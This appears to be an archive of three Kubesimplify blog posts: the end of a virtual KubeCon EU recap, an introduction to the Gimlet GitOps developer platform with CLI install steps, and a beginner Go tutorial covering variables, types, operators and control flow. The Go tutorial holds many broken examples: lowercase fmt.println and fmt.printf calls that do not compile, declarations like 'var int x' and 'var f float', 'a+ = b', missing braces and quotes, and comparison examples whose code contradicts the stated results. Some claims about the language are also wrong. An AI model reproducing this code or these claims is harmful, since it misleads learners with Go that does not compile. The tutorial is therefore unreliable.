6. CNCF Project Updates - Jasmine James, Senior Engineering Manager-Developer Experience; Ricardo Rocha, Computing Engineer, CERN; Emily Fox, Security Engineer, Apple

Although I attended every Keynote, I found these ones to be more productive.

### What Talks should a first-time attendee or a beginner should take?

As I said above do not miss the Keynotes also if you're a beginner or a first-time attendee you can attend the following tracks,

1. Student Track
2. 101 Track
3. Lightning Talks
 and some other talks as well according to your interests...

I also recommend joining the CNCF slack during the KubeCon where you'll find the Hallway track and other channels as well where you can network with people and they will be happy to guide you as well.

Apart from this, there are Virtual office hours and virtual booths where you can talk directly to the company's officials and project maintainers who will guide you about their products and you can ask questions as well.

### Eye-opening sessions and talks for me

1. What Anime Taught Me About K8s Development & Tech Careers - Annie Talvasto, Camunda(Personally Favorite)

![Screenshot (109).png](/img/blog/my-kubecon-euvirtual-experience/VSunww_EJ.png align="left")

- CNCF 101 - Kristi Tan, The Linux Foundation & Charley Mann, Cloud Native Computing Foundation
- Intro to Kubernetes, GitOps, and Observability Hands-On Tutorial - Joaquin Rodriguez, Microsoft & Tiffany Wang, Weaveworks
- Lightning Talk: Beginner to Maintainer Journey of a Student - Debabrata Panigrahi, National Institute of Technology Rourkela

![Screenshot (89).png](/img/blog/my-kubecon-euvirtual-experience/PwSKQMtRR.png align="left")

- From Student to SRE That Loves CNCF in No Time - Jacob Valdemar Andreasen, Lunar

![Screenshot (119).png](/img/blog/my-kubecon-euvirtual-experience/TE8NKXPN7.png align="left")
- Kubectl Said What? - Christopher Hanson, RX-M, LLC
- Navigating the CNCF Landscape, the Right Way - Divya Mohan, SUSE; Savitha Raghunathan, Red Hat; Kunal Kushwaha & Saiyam Pathak, Civo

![Screenshot (316).png](/img/blog/my-kubecon-euvirtual-experience/q_3KbOmCe.png align="left")

All the above talks can easily be found here https://www.youtube.com/c/cloudnativefdn/videos

**Apart from this, I've attended the happy hours with Priyanka Sharma on Zoom with other attendees as well,**


![Screenshot (101).png](/img/blog/my-kubecon-euvirtual-experience/60xlIC5va.png align="left")
![Screenshot (102).png](/img/blog/my-kubecon-euvirtual-experience/8_x3vSRHQ.png align="left")

Met some amazing folks and learned a lot from their experiences as well and if you ask me "Which among these people do you want to meet in person", My answer would be Taylor Dolezal, Priyanka Sharma, Katlin Ramer, Megan, and Jai Campbell.

**There is also a mentoring session organized by CNCF on zoom Virtually here is a glimpse of that as well.**

![Screenshot (111).png](/img/blog/my-kubecon-euvirtual-experience/_JjE_ddbk.png align="left")


![Screenshot (112).png](/img/blog/my-kubecon-euvirtual-experience/2ZoecJKm4.png align="left")

### Summing up all

This 4-day journey was full of learning and networking. I came to know lots of new technology and how to contribute to them, Talks and the sessions guides me, and practical demo's taught me a lot, and somehow got a feeling of **"A lot more to come just be in a flow"**. I truly want to thank the **CNCF** for organizing. I don't know how my 4 days went off in a second.

At last, I just want to say one thing **"KubeCon is not just a conference, It's beyond that. It's an experience in itself"**.

![Screenshot (495).png](/img/blog/my-kubecon-euvirtual-experience/EZUQwbRXn.png align="left")

> what learning I get from this Kubecon will be shared in my upcoming blog, so see you soon.

---

# Introduction to developer platforms with Gimlet

- Canonical: https://blog.kubesimplify.com/introduction-to-developer-platforms-with-gimlet
- Published: 2022-05-30

## What are developer platforms

Cloud native technologies provide a rich set of primitives. Primitives that can be used as building blocks to build your dream product. Each primitive serves a specific purpose while taking care of nonfunctional characteristics as well: you can run them fast, secure, and at scale.

The era of cloud native has been about optionality. You have a rich set of tools available to build your engineering practices around, reaching levels that were not possible for most companies before this era.

### But a rich set of tools doesn't make a developer platform.

When you pick tools from the cloud native ecosystem, you often don’t just have a single tool in mind. You are optimizing your team's developer experience across the whole flow, and you begin to prioritize features that are touch points along the larger system. 

When you pick a primitive, and integrate it in your product, you make certain decisions. These decisions - without you knowing it - result in your developer platform.

### Developer platforms are about technical goals

As you have probably guessed by now, developer platforms are about technical goals, not product features.

Developer platforms may take care of

- scaling a key area
- performance and availability goals
- easier maintenance
- compliance questions
- encapsulating core business features

Bluntly put: a developer platform is whatever you come up with that allows developers to focus on business-logic, by letting them rely on the platform taking care of the above listed characteristics.

Besides technical goals, there is one more key characteristic of developer platforms. Platforms enable engineers, they shouldn’t make their lives harder.

## What is Gitops

Gitops is a trend that took over the cloud native space in recent years.

The term was coined in a 2017 [article](https://www.weave.works/blog/gitops-operations-by-pull-request) by Alexis Richardson, and later [extended](https://www.weave.works/blog/what-is-gitops-really) in 2018, where he highlighted the characteristics of a Gitops system.

Gitops is centered around git and the workflows and the toolchain developers know very well: commits, pull requests, comments and issues.

It is built on prior work of the Infrastructure as Code community, where systems were captured declaratively in code and stored in git. Declaratively, as in configuration, is described by a set of facts and not by a series of instructions.

This declarative approach captures the desired state in git, allows for the system to converge to this desired state, and operators to get notified if the state diverges.

The Gitops definition matches well-known tools like Terraform and Ansible, and the then new Flux tool, that brought continuous delivery for Kubernetes, the capability to synchronize Kubernetes YAML files from git to the cluster.

### Limitations of Gitops tools today

Companies are rushing to introduce Flux or ArgoCD to their Kubernetes continuous delivery flows today. Gitops is proven to be great technique to deploy on Kubernetes.

These tools however suffer from the typical cloud native tooling problem: they are great single purpose tools, but they require considerable DevOps effort to integrate them into companies developer platforms.

They are good building blocks, but you have to make several decisions when you start implementing Gitops:

- will you have one central repository or many?
- how do you split repositories?
- how to organize folders inside the repository?
- how to model clusters, environments, teams, namespaces, apps?
- how to promote changes through environments?

## What is Gimlet

[Gimlet](https://gimlet.io) is a 100% open-source project [hosted on Github](https://github.com/gimlet-io/gimlet), that you can use to build and run your developer platform on Kubernetes.

Gimlet is a command line tool and a dashboard that packages a set of conventions and matching workflows to manage a gitops developer platform effectively.

### Gimlet caters for cluster admins and developers

As a cluster admin, you can

- make an empty Kubernetes cluster a developer platform with ingress, observability, SSL, policies
- get a curated update stream of security and feature upgrades
- all delivered in a git repo with self-contained gitops automation


![Screenshot from 2022-05-16 15-53-38.png](/img/blog/introduction-to-developer-platforms-with-gimlet/ULabiLDhW.png align="left")

As a developer you can

- configure your services without the Kubernetes YAML boilerplate
- deploy, rollback from CLI or from a dashboard
- focus on your own application, no need to navigate an inventory of Kubernetes resource types

![Screenshot from 2022-05-16 15-36-57.png](/img/blog/introduction-to-developer-platforms-with-gimlet/Q_1Uilh_i.png align="left")

### Why Gimlet

Gimlet puts you on a paved path.

Gets you up and running quickly, and it provides sensible escape hatches should you find the abstractions limiting.

Gimlet is built on Flux and Helm, so you are not locking yourself into some proprietary system.

Instead, Gimlet packs conventions and practices that get you a developer platform on an empty cluster in a matter of hours, with deployment automation and a dashboard that is not focused on inventories, but application source code repositories.


![Screenshot from 2022-05-16 15-36-03.png](/img/blog/introduction-to-developer-platforms-with-gimlet/Ecl-7DzXH.png align="left")

### Architecture

![Screenshot from 2022-05-16 15-39-04.png](/img/blog/introduction-to-developer-platforms-with-gimlet/rIKwMNtO3.png align="left")

Developers and cluster administrators both can carry out their operations through the Gimlet CLI, or through the Gimlet Dashboard.

Gimlet operates on a set of git repositories that serve as the desired state for the various environments: staging, production, etc. The logic to efficiently read and write the Gitops repositories are hosted in a server-side component, called Gimletd.

The environments stored in git repositories are then mapped onto clusters - or namespaces within clusters - with Flux configurations. These Flux configurations are self-contained in the git repositories.

Additionally, Gimlet provides a Dashboard to gain an overview of deployed services. The real-time Kubernetes information for this overview is supplied by the Gimlet Agent, that runs in each environment.

### Usecases

Gimlet was made with small to medium developer departments in mind. Companies that can't employ platform teams, but want to get the benefits of a modern, cloud native stack.

Gimlet was successfully deployed with teams as small as 2 developers, with no devops specialization, up to companies with many developer teams, with hundreds of services, with a couple of dedicated infrastructure people on staff.

If you are a cluster administrator who wants to roll out a platform for developers, or you are a developer who just started up a managed Kubernetes cluster. Chances are that with Gimlet you will be up and running much faster than if you would start hunting Helm charts and their values.yaml files one by one.

## Demo

To see Gimlet fully, you should check out the [Building a developer platform on CIVO Cloud with Gimlet and gitops](https://youtube.com/playlist?list=PLjJkiSWPwuPJeIEOn5BWMFdxSSpiQPQ4P) YouTube playlist.

Or, if you want to get your hands dirty, you should download the Gimlet CLI and start configuring your dev platform right now.

#### Install Gimlet
```
$ curl -L https://github.com/gimlet-io/gimlet/releases/download/cli-v0.15.0/gimlet-$(uname)-$(uname -m) -o gimlet
$ chmod +x gimlet
$ sudo mv ./gimlet /usr/local/bin/gimlet
$ gimlet --version
```

#### Configure stack components
```
$ gimlet stack configure
👩‍💻 Configure on http://127.0.0.1:22901
👩‍💻 Close the browser when you are done
Browser opened
Browser closed
📁 Generating values..

---
---
stack:
  repository: https://github.com/gimlet-io/gimlet-stack-reference.git?tag=v0.14.8
config:
  prometheus:
    enabled: true
    persistence: true

📁  Written to stack.yaml
```

#### Generate Kubernetes yaml
```
$ gimlet stack generate

✔️  Generated
```

### You can continue with the following tutorials:

- [Make Kubernetes an application platform with Gimlet Stack](https://gimlet.io/docs/make-kubernetes-an-application-platform-with-gimlet-stack/)
- [Reconfiguring, upgrading and making custom changes to stacks](https://gimlet.io/docs/reconfiguring-upgrading-and-making-custom-changes-to-stacks/)
- [Deploy your app to Kubernetes without the boilerplate](https://gimlet.io/docs/deploy-your-app-to-kubernetes-without-the-boilerplate/)
- [Manage your staging application configuration](https://gimlet.io/docs/manage-your-staging-application-configuration/)
- [Automatically deploy your application to staging](https://gimlet.io/docs/automatically-deploy-your-application-to-staging/)

### Roadmap

The coming 6 months at Gimlet we will be busy with delivering security and feature updates to the stack components.

Also, we would like to strengthen the developer day-2 workflows with alerts, notifications and by enforcing policies.

Larger teams will also get attention, we are going to automate fleet wide updates of application Helm charts, and dashboard templates.

## Stay in the loop

If you think Gimlet can help you in the future, go hit star on [our Github](https://github.com/gimlet-io/gimlet) and follow us on [Twitter](https://twitter.com/gimlet_io).


🙏

---

# Let's Simplify Golang : Part 1

- Canonical: https://blog.kubesimplify.com/lets-simplify-golang-part-1
- Published: 2022-05-27
- Summary: Golang is one of the most desired languages to learn, and it's also one of the most popular programming languages.

# Why Golang ? 

Golang is one of the most desired languages to learn, and it's also one of the most popular programming languages. It has been gaining immense popularity, and despite being just a decade old, Golang has made its mark.

The use of Golang is growing worldwide, too, especially in the cloud computing space.
A couple of major cloud infrastructure projects written in Go are Docker and Kubernetes, but there are many more.
Some famous tech companies using Golang are Google, Twitch, Uber, Medium, Adobe, Netflix, SoundCloud, Dailymotion, and many more.
With the dominance of cloud and DevOps, the future of Golang is brighter than ever.

The objective of this blog is to introduce all the basic concepts in Golang.
So, let's Simplify Golang !

# Introduction 
 
- Golang is a compiled programming language and was created by the engineers at Google.
  > The First Major version of Golang was introduced in 2012 as Golang 1.0.
- Go was created to combine -
   - The ease of programming of an interpreted, dynamically typed language 
(such as Python) 
   - with the efficiency and safety of a statically typed, compiled language. 
(such as C++)
   - It also aimed to be modern, with support for networked and multicore 
computing. 

# Key Features of Golang

- Golang’s code is neat and easy to maintain. Its Syntax is very easy to understand for beginners.
- Golang has fast compile-time and with every update and version release, it is becoming fast.
- Go has a Goroutine to enable Concurrency (Concurrency is executing more than one task simultaneously and making progress.).
- Go has its own Garbage Collector, which is used to allocate and remove the object.

# Features Excluded by Golang

- Classes not available. Class is a major functionality for OOP’s (Object oriented programming).
- No Inheritance - As classes are not there in Go, it also doesn't support Inheritance.
- Constructors are not available.
- Header files are not available.
- Array map are not available.
- No Template.
- No Exceptions.
- Use of void is not required.

# Installing Golang

To download and install quickly, you can head over to [go.dev/doc/install](https://go.dev/doc/install). 

Over here, we can see the steps to download and install Go quickly.


![gogogo.jpg](/img/blog/lets-simplify-golang-part-1/GJVHd4Xu3.jpg)

You can simply select the tab for your computer's operating system and then follow its instructions and download the package file.


![go222.jpg](/img/blog/lets-simplify-golang-part-1/QUj2r1I5I.jpg)

Now, once the file is downloaded, we will be following all the prompts by the installer.


![Untitled.png](/img/blog/lets-simplify-golang-part-1/RR-7zALO9.png)

This will make sure to install the Go distribution and will also put the installation directory in the path environment variable.
Just keep following the prompt by the installer.


![suucc.jpg](/img/blog/lets-simplify-golang-part-1/A3RrCvUL2.jpg)

Now, once you see that the installation has been completed, head over to the terminal.

To verify if Go has been installed successfully or not, type `go version`. 


![Untitled.png](/img/blog/lets-simplify-golang-part-1/hrLr1AvuQ.png)

If Go has been installed successfully, the command will print "the Golang version installed in your system".

 If Golang is not installed then an error will arise stating "Bad command or file name".

# Hello World Program

Let's practically understand this by analyzing line by line a Hello World program in Go!

```
package main

import "fmt"

func main() {
    fmt.Println("Hello, World")
}
```

>  Line 1 - package main

- Packages are Go's way of organizing and reusing code.
- Every Go program must start with the package declaration.
- Go programs are made of parts such as packages definitions and function definitions.
- In Go language, the main package is a special package, which is used with the programs that are executable and this package contains the main() function.
- Syntax of declaring a package :- 
>write the package keyword and then the name of the package.

> Line 2 - import "fmt"

- We use import keyword to include code from other packages to use with our program.
- fmt package is a short form of format, and it implements formatting
for input and output.
- So, import "fmt" basically means that we are importing the fmt package in our code because we need the functionalities provided by this package.
> Note :- package name during the import statement is surrounded by double quotes.


> Line 3 - func main()


- The main() function is a special type of function, and it is the entry point of executable programs.
- It does not take in any arguments or parameters. 
- This function executes by default when you run code in the file.

> Note :- Every executable program must contain the single main package and the main function.

- The lines of function code are enclosed in curly brackets {} ( '{'  and  '}'  denotes the starting and ending point of the function) and the code written inside the braces {} will be executed in sequence.

> Line 4 - fmt.Println("Hello World")

- The statement is made of three components :
- First, we specify the name of the package to be used, which is fmt.
- Secondly, we specify the name of the function that's present inside that package. Here, the function's name is println (which means print and then go to new line).
- The `.` Operator between fmt and println is known as the member access operator. It is used to access members of a package. In this case, we are accessing println function, which is a member of the fmt package.
- The Third part is the text Hello World enclosed within the quotes (anything within the quotes becomes a string).
- Now, we call the function println by passing it the string expression as the only argument.

> Comments 

- Comments are statements that are not executed by the compiler and interpreter.
- Go supports 2 types of comments :
  - Single Line Comment 
    ```
    // comment
    ```
  - Multi Line Comment 
     ```
     /*
     multi line
     comment
     */
     ```


# Identifiers and Keywords

## Identifiers

- Identifiers are the user-defined name of the program components. 
- In Go language, an identifier can be a variable name, function name, constant, statement labels, package name, or types.
- Identifiers starts with either a Unicode Letter or `_`.
> Identifier `_`  is a special identifier, it is called blank identifier.

Example:- 

```
// Valid identifiers:
_hello23
hello
he56llo
Hello
heLlo
hello_hello


// Invalid identifiers:
212geeks
if
default
```

## Keywords

- Keywords or Reserved words are the words in a language that are used for some internal process or represent some predefined actions.
- Keywords are not allowed to use as an identifier. Doing this will result in a compile-time error. 
- There are total 25 keywords present in the Go language as follows:

```
break     default      func    interface  select
case      defer        go      map        struct
chan      else         goto    package    switch
const     fallthrough  if      range      type
continue  for          import  return     var
```

# Data Types


A data type is a classification that specifies which type of value a variable has and what type of mathematical, relational or logical operations can be applied to it.

### Why are data types needed ?

- It categorizes a set of related values.
- It describes the operations that can be done on them. 
- It defines the way the data is stored.


 > In Go, the type is divided into four categories which are as follows:

- Basic type
- Aggregate type
- Reference type
- Interface type

## Basic Type

Basic Data Types: In Go language, Basic Data Types are categorized into three subcategories, which are:

- Numbers
- Boolean
- Strings

> Numbers

In Go language, numbers are divided into two sub-categories that are:

- Integers
- Float

here is an example of Numbers data type :

```
a := 20
b := 34.89
```

> Boolean 

- The boolean data type represents only one bit of information, either true or false.
-  The values of type boolean are not converted implicitly or explicitly to any other type.

Here is an example of Boolean data type :

```
var bVal bool   // default is false
bVal:=true     // value of bVal changed to true
```

> Strings

- String is any sequence of characters, and the characters can be numbers, letters, and symbols.
- We can initialize strings just like any other data-type.
- String concatenation can be done effortlessly.

Here is an example of String data type :

```
    var hello string = "Hello, " // initializing 
    name := "Dan"
    exclamation := "!"
     
    var result = hello + name + exclamation // concatenation
    fmt.Println(result)   // prints "Hello, Dan!"
```

> Aggregate Types

In Go language, Aggregate Types are divided into two sub-categories that are:

- Arrays
- structs

> Reference Types

In Go language, Reference Types are divided into 5 sub-categories that are:

- Pointers
- slices
- maps
- functions
- channels

> We will discuss Aggregate and Reference Types after in this blog.

# Variables

- Variable is a named unit of data that is assigned a value. It is simply a reference to a value and is one of the foundations of being able to construct programming logic.
- You can change the value of a variable.
- In Golang, declaring a variable can be achieved in a number of phases. As we know, Go is a statically typed language and as such when variables are declared, they're either explicitly or implicitly. 
- One of the ways by which you can declare a variable in Golang is using the below syntax.
```
var <variable_name>  <data_type> = <value>
```
   - A variable is initialized by using the var keyword.
   - Then we specify the variable name.
   - Then, the data type of the variable, following it is the assignment operator.
   - Then we have the value of data that we want to store.

> Here are some examples :

```
var s string = "Hello Eveyone"
var i int = 18
var b bool = false
var f float = 35.60
```

*"Hello Everyone" will be stored in the variable s, and s is a variable of string data type.*

*18 will be stored in the variable i, and i is a variable of int data type.*

## Printing Variables

To print, we'll be using the print method of the fmt package. To use it, we first need to import the fmt package. 
```
package main
import "fmt"
func main() {
        
        // Prints a string
        // Output - Hello
          
        fmt.print("Hello")

        var name string = "Emraan"

        // Prints a variable string
        // Output - Emraan

        fmt.print(name)
     
        // Prints a variable with string
        // Output - Hello Emraan

        fmt.print("Hello ",name)

        // Prints with a newline
        /* Output - Hello
                    Emraan
        */
        fmt.println("Hello")
        fmt.println(name)
  
```

## Format Specifiers


![Untitled.jpg](/img/blog/lets-simplify-golang-part-1/dRj2BCfEW.jpg)

## Declaring a Variable
 
As we have seen, In Golang we can declare a variable in many ways. We can declare the variable and assign the value to it at the same time, or we can declare the variable first and assign the value after.

> here is an example of both the ways :

```
var s1 string = "hello world"

var s2 string 
s2 = "Tata Bye Bye"
```

Variables of the same type can be declared and even assigned values on the same lines, such as this.
``` 
var a,b string = "hi", "bye
```

In the Above example, the 'a' variable will get the value "hi" and the 'b' variable will get the value "bye".

When the variables are of different data types. We can declare them like this :
```
var (
a = "hello"
i = 18 )
```

> Short Variable Declaration

`s` `:=` `Hello Everyone` 

   - It starts with a variable name. So the variable name in this case is `s`.
   - Then we have `:=` this is short variable assignment operator.
       - It indicates that the short variable declaration is being used.
       - This means that there's no need to use the var keyword or declare the variable data type.
   - Then we have the `Hello Everyone` string which will be assigned to s. 

## Variable Scope

The scope of a variable can be defined as a part of the program where a particular variable is accessible or from where it can be referenced. In Golang, scope is defined using block.
```
{
// outer block

        {

         // inner block

        }
}
```

   - Inner blocks can access variables declared within outer blocks.
   - Outer blocks cannot access variables declared within inner blocks

Now we've understood how variable scope works in terms of blocks. However, scope rules can also be determined based on where the variables are declared. 

We have two kinds of such variables, local and global variables.

> Local Variables

- Declared inside a function or a block.
- not accessible outside the function or the block.
- can also be declared inside looping and conditional statements.


![Untitled.png](/img/blog/lets-simplify-golang-part-1/T6MlzsgTj.png)

> Global Variables

- Declared outside a function or a block.
- available throughout the lifetime of a program.
- declared at the top of the program outside all functions or blocks.
- can be accessed from any part of the program.


![Untitled.jpg](/img/blog/lets-simplify-golang-part-1/54ad4GHHC.jpg)

> Zero Value

- In Golang, if you're declaring a new variable, but are not necessarily initializing it with a value, the variable is given a default value. This value is known as zero value.
- It depends on the data type of the variable.

![Untitled.jpg](/img/blog/lets-simplify-golang-part-1/iymiAciDe.jpg)

## User Input 

- One of the most used ways of taking user input is through scanner function, which is provided by the fmt package.

Syntax :
```
fmt.Scanf("%<format specifier > (s)", Object_arguments)
```

- scanner function takes the format string, along with the list of variable number of arguments.
- This string contains custom specifiers that the scanner function uses to format the final output string.
- The list here is the list of all arguments where you want to store your data.

We can take Single Inputs as well as Multiple Inputs.

> Here is an example of how we can take Single Input.

```
var name string
fmt.Scanf("%s", &name)
```
**name** variable will now contain the string entered by the user.
> Here is an example of how we can take Multiple Input.

```
var a string
var b int
fmt.Scanf("%s %d", &a, &b)
```
**a** and **b** will contain the string and integer entered by the user, respectively. 

### Find the type of variable

To check or find the type of variable or object in Golang, we can use :- 
- `%T` format specifier.
- `reflect.TypeOf` function from the reflect package.

```go
package main 
import (
         "fmt"
         "reflect")

func main() {
         var marks int = 25
         
         fmt.printf("marks is of type %T", marks)
         fmt.printf("marks variable type is %v", reflect.TypeOf(marks))
}  
```
```
OUTPUT

marks is of type int
marks variable type is int
```

> Type Casting

The process of converting one data type to another is known as Type Casting.
Data types can be converted to other data types, but this does not guarantee that the value of that variable will remain intact.

Let us learn how to do Type Casting using some examples.

> Integer to Float

```
var i int = 40
var f float64 = float64(i)

//i contains 40 and f contains 40.00
```

> Float to Integer

```
var f float64 = 23.80
var i int = int(f)

//f contains 23.80 and i contains 23
```
 

- **strconv** package - This package consists of methods that we can use to convert integer to string and vice versa.
- ** Itoa() ** method - It converts integer to string, and it just returns one value which is the string formed with the given integer.

> Integer to String

```
var i int = 75
var s string = strconv.Itoa(i)

//s contains 75 as a string
```
- ** Atoi() ** method - It converts string to integer, and it returns two values, the corresponding integer and if there's any error.

> String to Integer

```
var s string = "150"
i, err := strconv.Atoi(s)

//i contains 150 and err contains <nil>
```
> Constants

- Constants are variables whose values once initialized cannot be modified.
- The syntax to declare a constant in Golang is shown below :
```
const <const_name> < data_type> = <value>
```
- We have two kinds of constants:
  -  **typed constant**
     - constants where you explicitly specify the data type in the declaration.
     - no flexibility.
     - Example :

         ```
          const name string = "Elon"
         ```

  - **untyped constant**
     - constants are untyped unless they're explicitly given a data type and declaration.
     - They allow for much more flexibility.
     - Example : 

         ```
          const num = 18
          const my_name, my_age = "Steve", 21
         ```
-  We cannot declare a constant and not initialize it to a value and maybe try to assign it a value later on. You have to assign and declare constant at the same time. The concept of default or zero values does not apply here.
- The shorthand variable declaration does not work for constants.

- Use case of Constant : In calculating the area of a circle, we know the value of PI i.e. 3.14, it is a constant, and it is not going to change, so we can simply create a float constant for it.
` const PI float64 = 3.14 ` 

# Operators

- Operators are the foundation of any programming language.
- We can define operators as symbols that help us to perform specific mathematical and logical computations on operands.
- For example
` a + b `
*when we say a+b, the addition sign here is the **operator**, while a and b are the **operands**.*

- In Golang, we can define operators of five types:
   - Comparison Operators 
   - Arithmetic Operators 
   - Assignment Operators 
   - Bitwise Operators
   - Logical Operators

## Comparison Operators

- Comparison Operators compare two operands and give a *Boolean* value that is True or False.
- They allow values of the same data type for comparisons and return true if it matches
the comparison and false if it does not.
- We have the following Comparison Operators in Golang :
  - `==` equal
       
         var name1 string = "Alex"
         var name2 string = "Ben"
         fmt.println(name1 == name2)

        //returns FALSE
  - `!=` Not equal
       
         var name1 string = "Alex"
         var name2 string = "Ben"
         fmt.println(name1 == name2)

        //returns TRUE
  - `<` less than 

         var a, b int = 5, 10
         fmt.println(a < b)

        //returns TRUE
  - `<=` less than or equal to

         var a, b int = 12, 10
         fmt.println(a <= b)

        //returns FALSE
  - `>` greater than 

         var a, b int = 5, 10
         fmt.println(a > b)

        //returns FALSE
  - `>=` greater than or equal to

         var a, b int = 15, 15
         fmt.println(a < b)

        //returns TRUE

## Arithmetic Operators

- Arithmetic operators are frequently combined with the comparison operator to create a Boolean statement.
- These operators are used to perform common arithmetic operations, such as addition, subtraction and multiplication.
- We have the following arithmetic operators in Golang :
  - `+` addition
    > It simply adds the left and the right operand together.
    
    ```
     var i, j = 12, 15
     var a, b string = "HELLO", "WORLD"
    
     fmt.println(i + j)
    
    //returns 27 

     fmt.println(a + b)

    //returns HELLOWORLD

    /* When you use the addition operator on string it works like concatenation.*/
    ```

  - `-` subtraction
    > The subtraction operator subtracts the right operand from the left operand.

   > You can use the addition operator on string, but you cannot use the subtraction operator on string.

    ```
    var a, b int = 34, 14
    fmt.println(a - b)
  
   //returns 20
   ```

  - `*` multiplication
    > The multiplication operator multiplies both the operands.

    ```
    var a, b int = 3, 4
    fmt.println(a * b)

   //returns 12
   ```
 
  - `/` division 
    > The division operator returns the quotient, when left operand is divided by the right operand.

    ```
    var a, b int = 24, 7
    fmt.println(a / b)
  
    // returns 3 
   ```

  - `%` modulus
     > The modulus operator returns the remainder, when left operand is divided by the right operand.

     ```
    var a, b int = 24, 5
    fmt.println(a % b)
  
    // returns 4
    ```
 
  - `++` increment 
     > It is a Unary Operator. Unary operators are operators that act upon a single operand to produce a new value.

     > This operator increments the value of the operand by one.
   
     ```
      var i int = 2
      i++
      fmt.println(i)

     //returns 3
     ```

  - `--` decrement
     > It is also a Unary Operator and it decrements the value of the operand by one.

    ```
      var i int = 2
      i--
      fmt.println(i)

     //returns 1
     ```

## Logical Operators 

- Logical operators are used to determine the logic between variables or values.
- We have the following arithmetic operators in Golang :
   - `&&` logical AND
       - It returns True if **both** the statements are true.
       - It returns False when **either** of the statements is false.

      ```
      var int x = 100
      
      fmt.println((x < 150) && (x < 200))
      //returns true

      fmt.println((x < 120) && (x < 12))
      //returns false
     ```
 
   - `||` logical OR
       - It returns True if **atleast one** of the statements is true.
       - It returns Flase if **both** the statements are false.

       ```
      var int x = 100
      
      fmt.println((x < 50) || (x < 200))
      //returns true

      fmt.println((x < 20) || (x < 12))
      //returns false
     ```

   - `!` logical NOT
      - It is a Unary Operator (works only on one operand or on one expression).
      - This operator basically reverses the result.
      
      ``` 
       var int x = 50
       
       fmt.println( !(x<20) )

       //returns true
       ```

## Assignment Operators

- We have the following arithmetic operators in Golang :
  - `=` assign
    > The assign operator assigns left operand with the value to the right.

    ``` 
     var a int = 10
     var b int 
     b = a
   
     // a get assigned the value 10
     // b get assigned the value of a that is 10
     ```

  - `+=` add and assign
    > Add and assign operator assigns the left operand with the addition result.

    > `a+= b` means `a = a + b`

    ```
     var a, b int = 20, 10
     a+ = b
 
    // a assigned to a value 30
    ```

  - `-=` subtract and assign
    > The subtract and assign operator assigns left operand with the subtraction result.

    > `a-= b` means `a = a - b`

    ```
     var a, b int = 20, 10
     a- = b
 
    // a assigned to a value 10
    ```

  - `*=` multiply and assign
     > The multiply and assign operator assigns left operand with the multiplication result.

     > `a*= b` means `a = a * b`

     ```
     var a, b int = 20, 10
     a* = b
 
    // a assigned to a value 200
    ```   

  - `/=` divide and assign quotient
     > This operator assigns left operand with the quotient of the division.

     > `a/= b` means `a = a / b`

     ```
     var a, b int = 20, 10
     a/ = b
 
    // a assigned to a value 2
    ```   
  - `%=` divide and assign modulus
     > This operator assigns left operand with the remainder of the division.

     > `a%= b` means `a = a % b`

     ```
     var a, b int = 20, 10
     a% = b
 
    // a assigned to a value 0
    ```   

## Bitwise Operators

- Bitwise operators work at bit level or perform bit by bit operation.
- We have the following bitwise operators in Golang:
   - `&` bitwise AND

   This operator takes two numbers as operands and does AND operation on every bit of two numbers. 
       
![.,,.,.,.;;;'.png](/img/blog/lets-simplify-golang-part-1/yl-JW4lk6.png align="left")
     
       var x, y int = 12, 25
       z := x & y
       fmt.Println(z)

      //returns 8
       
   - `|` bitwise OR
 
   Bitwise OR takes two numbers as operand and does OR on every bit of two numbers.
      
![or.jpg](/img/blog/lets-simplify-golang-part-1/46KRSYR3P.jpg align="left")
  
```
   var x, y int = 12, 25
   z := x | y
   fmt.Println(z)

  //returns 29
```  

   - `^` bitwise XOR
     - It takes two numbers as operand and does XOR on every bit of two numbers.
     - The result of XOR is 1 if the two bits are *opposite* and 0 when both of the bits are *same*.
    
![klkl.jpg](/img/blog/lets-simplify-golang-part-1/eVUoD0bJL.jpg align="left")
  
```
   var x, y int = 12, 25
   z := x ^ y
   fmt.Println(z)

  //returns 21
```

   - `<<` left shift
      -  It shifts all bits towards the left by a certain number of specified bits.
      - The bit positions that have been vacated by the left shift operator are filled with 0.
      
![okol.jpg](/img/blog/lets-simplify-golang-part-1/5l4wT7jCc.jpg align="left")

       
       var x int = 212
       z := x << 1
       fmt.Println(z)

       //returns 424
      

   - `>>` right shift
     - It shifts all bits towards the right by a certain number of specified bits.
     - excess bits shifted off to the right are discarded.
     
![pkpk.jpg](/img/blog/lets-simplify-golang-part-1/T7nl8Z8cs.jpg align="left")

    
     var x int = 212
     z := x >> 2
     fmt.Println(z)

    //returns 53

# Control Flow

The control flow basically means that when you read a script, you must not only read
from start to finish, but also look at the program structure and how it affects the order of execution.

In the below example,  we want to write a program that validates if the user is eligible to vote or not. We are taking the age as input and check if the age is greater than or is equal to 18. We print 'eligible' if it is. If not, we print 'not eligible'.
So, Over here we had a control flow, and it was controlled by the control structure which determined the rest of the flow of the program.


![kuku.jpg](/img/blog/lets-simplify-golang-part-1/c6yt_krWz.jpg align="left")

## if 

Below is the syntax for if statement :
```
if condition {
   // executes when condition is true
}
```
The *if* statement is provided with a condition. The *if* statement evaluates this condition, and if this condition is true, statements inside the body of *if* are executed. If the condition is false, the statements inside the body of *if* are not executed.
> Note, the parentheses around the condition
are optional.

Example :

```
var a, b string = "happy", "world"

if a == b {
   fmt.println("equal")
}

//fmt.println function will not execute.
```
## if-else

The *if* statement may also have an optional else block that runs when the *if* condition is not met. If the condition is evaluated to true, the statements inside the *if* body are executed while if the condition is false, the statements inside the else body are executed.
> Note, for the syntax in *if-else* block, the else statement should start from the same line where the *if* ends Else, it will throw us an error.

Example :

```
var a, b string = "happy", "world"

if a == b {
   fmt.println("equal")
} else {
   fmt.println("not equal")
```

## else-if statement

We also have the *else-if* statement to specify a new condition if the first condition is false  

> We can specify multiple else-if condition, and the else block is optional to add.

```
if condition_1 {
// execute when condition_1 is true
} else if condition_2 {
/* execute when condition_1 is false,
and condition_2 is true */
} else if condition_3 {
/* execute when condition_1 and 2 are false,
and condition_3 is true */
} else {
// when none of the above conditions are true
}
```

## Switch Case

We learned how if/else statements help us in specifying conditions and taking actions accordingly. Switch statement is a similar control structure. However, in switch-case control mechanism, we use the value of a variable or an expression to change the control flow of program execution via a multi-way branch. Using if or switch-case,
depends on the programmer and the use case.

Syntax of the switch case :
```
switch expression {
case value_1:
// execute when expression equals to value_1
case value_2:
// execute when expression equals to value_2
default:
// execute when no match is found
}
```
